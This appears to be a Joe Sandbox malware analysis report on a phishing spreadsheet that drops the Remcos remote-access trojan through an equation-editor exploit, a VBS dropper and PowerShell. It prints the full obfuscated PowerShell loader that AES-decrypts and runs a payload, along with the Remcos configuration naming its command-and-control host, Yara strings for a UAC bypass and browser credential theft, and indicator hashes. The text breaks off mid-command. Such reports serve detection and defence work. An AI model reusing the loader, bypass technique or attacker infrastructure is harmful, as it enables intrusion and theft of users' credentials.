Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Purchase Inquiry.xla.xlsx

Overview

General Information

Sample name:Purchase Inquiry.xla.xlsx
Analysis ID:1482978
MD5:c3f8e7c002dee53044af5c981b000637
SHA1:3e64a989a11aece354ec4fd7a698ec1dfaa43651
SHA256:58738d2f9a0db1fba5d0355d9bff70e77bc0b21defefeddf031c470e955e8b53
Tags:xlaxlsx
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document contains embedded VBA macros
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Excel Network Connections
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Process Tree

  • System is w7x64
  • EXCEL.EXE (PID: 2872 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
    • dllhost.exe (PID: 1652 cmdline: C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF} MD5: A8EDB86FC2A4D6D1285E4C70384AC35A)
    • WINWORD.EXE (PID: 1788 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)
      • EQNEDT32.EXE (PID: 1652 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)
    • wscript.exe (PID: 1216 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" MD5: 979D74799EA6C8B8167869A68DF5204A)
      • powershell.exe (PID: 1416 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'') MD5: EB32C070E658937AA9FA9F3AE629B2B8)
        • RegAsm.exe (PID: 628 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 8FE9545E9F72E460723F484C304314AD)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "2024remcmon.duckdns.org:14645:1", "Assigned name": "zynova", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-R2I0JW", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd[1].docINDICATOR_RTF_MalVer_ObjectsDetects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.ditekSHen
  • 0x1de1:$obj2: \objdata
  • 0x1dcb:$obj3: \objupdate
  • 0x1da6:$obj5: \objautlink
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\823F0820.docINDICATOR_RTF_MalVer_ObjectsDetects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.ditekSHen
  • 0x1de1:$obj2: \objdata
  • 0x1dcb:$obj3: \objupdate
  • 0x1da6:$obj5: \objautlink

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000C.00000002.622570366.00000000006F5000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
    0000000C.00000002.622570366.0000000000711000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
      0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
          0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
          • 0x6c4a8:$a1: Remcos restarted by watchdog!
          • 0x6ca20:$a3: %02i:%02i:%02i:%03i
          Click to see the 13 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          12.2.RegAsm.exe.400000.0.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
            12.2.RegAsm.exe.400000.0.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
              12.2.RegAsm.exe.400000.0.unpackWindows_Trojan_Remcos_b296e965unknownunknown
              • 0x6aaa8:$a1: Remcos restarted by watchdog!
              • 0x6b020:$a3: %02i:%02i:%02i:%03i
              12.2.RegAsm.exe.400000.0.unpackREMCOS_RAT_variantsunknownunknown
              • 0x64afc:$str_a1: C:\Windows\System32\cmd.exe
              • 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
              • 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
              • 0x64b6c:$str_b2: Executing file:
              • 0x65bec:$str_b3: GetDirectListeningPort
              • 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
              • 0x65718:$str_b7: \update.vbs
              • 0x64b94:$str_b9: Downloaded file:
              • 0x64b80:$str_b10: Downloading file:
              • 0x64c24:$str_b12: Failed to upload file:
              • 0x65bb4:$str_b13: StartForward
              • 0x65bd4:$str_b14: StopForward
              • 0x65670:$str_b15: fso.DeleteFile "
              • 0x65604:$str_b16: On Error Resume Next
              • 0x656a0:$str_b17: fso.DeleteFolder "
              • 0x64c14:$str_b18: Uploaded file:
              • 0x64bd4:$str_b19: Unable to delete:
              • 0x65638:$str_b20: while fso.FileExists("
              • 0x650b1:$str_c0: [Firefox StoredLogins not found]
              12.2.RegAsm.exe.400000.0.unpackINDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOMDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)ditekSHen
              • 0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
              • 0x6497c:$s1: CoGetObject
              • 0x64990:$s1: CoGetObject
              • 0x649ac:$s1: CoGetObject
              • 0x6e938:$s1: CoGetObject
              • 0x6493c:$s2: Elevation:Administrator!new:
              Click to see the 15 entries

              Sigma Signatures

              Exploits

              barindex
              Sigma detected: EQNEDT32.EXE connecting to internet
              Source: Network ConnectionAuthor: Joe Security: Data: DestinationIp: 192.3.176.154, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 1652, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49168
              Sigma detected: File Dropped By EQNEDT32EXE
              Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1652, TargetFilename: C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS

              System Summary

              barindex
              Sigma detected: Base64 Encoded PowerShell Command Detected
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: Equation Editor Network Connection
              Source: Network ConnectionAuthor: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49168, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 1652, Protocol: tcp, SourceIp: 192.3.176.154, SourceIsIpv6: false, SourcePort: 80
              Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
              Source: Process startedAuthor: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: Potential PowerShell Command Line Obfuscation
              Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLR